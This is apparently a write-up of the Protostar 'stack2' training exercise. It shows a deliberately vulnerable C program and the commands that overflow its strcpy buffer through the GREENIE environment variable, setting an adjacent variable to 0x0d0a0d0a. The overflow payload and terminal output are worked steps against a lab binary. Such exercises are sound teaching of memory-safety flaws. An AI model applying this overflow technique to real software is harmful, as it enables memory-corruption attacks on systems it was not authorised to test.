

Steps:

1. Start by running the VM with the protostar iso loaded
2. Navigate to /opt/protostar/bin
3. Examining the source code we see it has a main function which takes uses strcpy to copy the value of the environment variable GREENIE to the buffer.

stack2.c

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];
    char *variable;

    variable = getenv("GREENIE");

    if(variable == NULL) {
        errx(1, "please set the GREENIE environment variable\n");
    }

    modified = 0;

    strcpy(buffer, variable);

    if(modified == 0x0d0a0d0a) {
        printf("you have correctly modified the variable\n");
    } else {
        printf("Try again, you got 0x%08x\n", modified);
    }
}
```

4. I run *man strcpy* to see what vulnerabilities there are that I can use to change the value of modified.

```
user@protostar: /opt/protostar/bin
}

RETURN VALUE
The strcpy() and strncpy() functions return a pointer to the destination string dest.

CONFORMING TO
SVr4, 4.3BSD, C89, C99.

NOTES
Some programmers consider strncpy() to be inefficient and error prone. If the programmer knows (i.e., includes code to test!) that the size of dest is greater than the length of src, then strcpy() can be used.

If there is no terminating null byte in the first n characters of src, strncpy() produces an unterminated string in dest. Programmers often prevent this mistake by forcing termination as follows:

    strncpy(buf, str, n);
    if (n > 0)
        buf[n - 1] = '\0';

BUGS
If the destination string of a strcpy() is not large enough, then anything might happen. Overflowing fixed-length string buffers is a favorite cracker technique for taking complete control of the machine. Any time a program reads or copies data into a buffer, the program first needs to check that there's enough space. This may be unnecessary if you can show that overflow is impossible, but be careful: programs can get changed over time, in ways that may make the impossible possible.

SEE ALSO
bcopy(3), memcpy(3), memmove(3), stpcpy(3), string(3), strdup(3), wcsncpy(3), wcsnncpy(3)

COLOPHON
Manual page strcpy(3) line 37
```

Strcpy has buffer overflow vulnerabilities similarly to gets. I can change the value stored in modified by inputting a large enough string.

5. Since modified is declared directly before buffer. I assume that it lies directly above it on the stack. With buffer being of size 64, I assume that modified takes up the 4 bytes directly after that.
6. I set the value of GREENIE using python to a string "A" repeated 68 times using the following line and export it to the  
`GREENIE=$(python -c 'print' "A"*68)`
7. I then export GREENIE for the program to be able to use it with "export GREENIE". To view that it contains the correct value I run "env" and check it.

```
PWD=/opt/protostar/bin
LANG=en_US.UTF-8
GREENIE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SHLVL=1
```

8. I run stack2 to see the output.

```
user@protostar:/opt/protostar/bin$ ./stack2
Try again, you got 0x41414141
user@protostar:/opt/protostar/bin$
```

9. Continuing with the assumption that the last 4 characters in the variable are what the modified variable is set to, I change the value of GREENIE by replacing the last 4 characters with the value "0x0d0a0d0a"
10. I run *file* stack2 to check if it is little-endian - which it is.

11. I then set GREENIE using `GREENIE=$(python -c 'print("A"*64+"\x0a\x0d\x0a\x0d")')` and I use `env` to ensure it was set correctly.

```
user@protostar: /opt/protostar/bin
user@protostar:/opt/protostar/bin$ GREENIE=$(python -c 'print("A"*64+"\x0a\x0d\x0a\x0d")')
user@protostar:/opt/protostar/bin$ env
SHELL=/bin/sh
TERM=xterm
SSH_CLIENT=10.0.0.128 58164 22
SSH_TTY=/dev/pts/0
USER=user
LS_COLORS=rs=0;di=01;34;ln=01;36;mh=00;pi=40;33;so=01;35;do=01;35;bd=40;33;01;cd=40;33;01;or=40;31;01;su=37;41;sg=30;
43;ca=30;41;tw=30;42;ow=34;42;st=37;44;ex=01;32;*.tar=01;31;*.tgz=01;31;*.arj=01;31;*.taz=01;31;*.lzh=01;31;*.lzma=01
;31;*.tlz=01;31;*.txz=01;31;*.zip=01;31;*.z=01;31;*.Z=01;31;*.dz=01;31;*.gz=01;31;*.lz=01;31;*.xz=01;31;*.bz2=01;31;*.
bz=01;31;*.tbz=01;31;*.tbz2=01;31;*.tz=01;31;*.deb=01;31;*.rpm=01;31;*.jar=01;31;*.rar=01;31;*.ace=01;31;*.zoo=01;31
;*.cpio=01;31;*.7z=01;31;*.rz=01;31;*.jpg=01;35;*.jpeg=01;35;*.gif=01;35;*.bmp=01;35;*.pbm=01;35;*.pgm=01;35;*.ppm=01
;35;*.tga=01;35;*.xbm=01;35;*.xpm=01;35;*.tif=01;35;*.tiff=01;35;*.png=01;35;*.svg=01;35;*.svgz=01;35;*.mng=01;35;*.p
cx=01;35;*.mov=01;35;*.mpg=01;35;*.mpeg=01;35;*.m2v=01;35;*.mkv=01;35;*.ogm=01;35;*.mp4=01;35;*.m4v=01;35;*.mp4v=01;3
5;*.vob=01;35;*.qt=01;35;*.nuv=01;35;*.wmv=01;35;*.asf=01;35;*.rm=01;35;*.rmvb=01;35;*.flc=01;35;*.avi=01;35;*.fli=01
;35;*.flv=01;35;*.gl=01;35;*.dl=01;35;*.xcf=01;35;*.xwd=01;35;*.yuv=01;35;*.cgm=01;35;*.emf=01;35;*.axv=01;35;*.anx=0
1;35;*.ogv=01;35;*.ogx=01;35;*.aac=00;36;*.au=00;36;*.flac=00;36;*.mid=00;36;*.midi=00;36;*.mka=00;36;*.mp3=00;36;*.m
pc=00;36;*.ogg=00;36;*.ra=00;36;*.wav=00;36;*.axa=00;36;*.oga=00;36;*.spx=00;36;*.xspf=00;36;
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
MAIL=/var/mail/user
PWD=/opt/protostar/bin
LANG=en_US.UTF-8
GREENIE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SHLVL=1
```

12. I then run `stack2` and we have the result.

```
user@protostar:/opt/protostar/bin$ ^C
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable
user@protostar:/opt/protostar/bin$
```